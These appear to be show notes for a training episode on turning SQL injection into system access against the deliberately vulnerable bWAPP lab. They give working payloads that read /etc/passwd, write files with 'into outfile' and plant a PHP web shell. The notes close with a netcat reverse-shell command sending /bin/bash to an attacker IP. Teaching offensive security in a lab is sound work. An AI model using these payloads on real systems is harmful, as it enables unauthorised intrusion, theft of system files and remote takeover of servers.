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- Topic Name: Web Application Hacking: SQL Injection
- Episode Name: SQLi to System Access

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SQLi to System Access

Objectives:

- Utilize SQL Injection to access the local file system of a remote system
- Leverage SQL Injection to create an interactive connection with a remote system

- **We've seen a lot of what we can do with SQL Injection. Are there any other kinds of things can we accomplish with SQL injection?**

- Lots of dangerous things

- Local file-system manipulation

- READ
- WRITE
- CODE/CMD EXECUTION

- That does sound dangerous! Can you show use a quick example of reading from the target's local file system?

- READ from file

- `union all select 1,load_file("/etc/passwd"),3,4,5,6,7 -- -`

- View source for better formatting of output

- Can we read ANY file we want?

- Only the files that the SQL user has access to

- You also said we can write, to the local file system. What does that look like?

- WRITE to file

- `union all select 1,"Test",3,4,5,6,7 into outfile '/var/www/test.txt' -- -`

- You may get permission denied

- Find writeable dir

- Check links, source, and robots.txt

- Trial and error through the listed directories

- Found writeable dir: **/documents**

- CODE/COM EXEC may now be possible :)

- We can now both READ and WRITE to the Target's local file-system, but how do we leverage this for CODE/CMD EXECUTION?

- CODE EXEC

- `union all select 1,"<?php echo shell_exec($_GET['cmd']);?>" ,3,4,5,6,7 into outfile '/var/www/bWAPP/documents/x.php'`

- Browse to <http://bee-box/documents/x.php>

- Success!

- So we were able to add a new page to the website, but what do we do now?

- We listen

- Start a listener on port 4444

- Now browse to your backdoor and execute a command

- `http://bee-box/bWAPP/documents/x.php?cmd=nc -nv 10.0.0.169 4444 -e /bin/bash`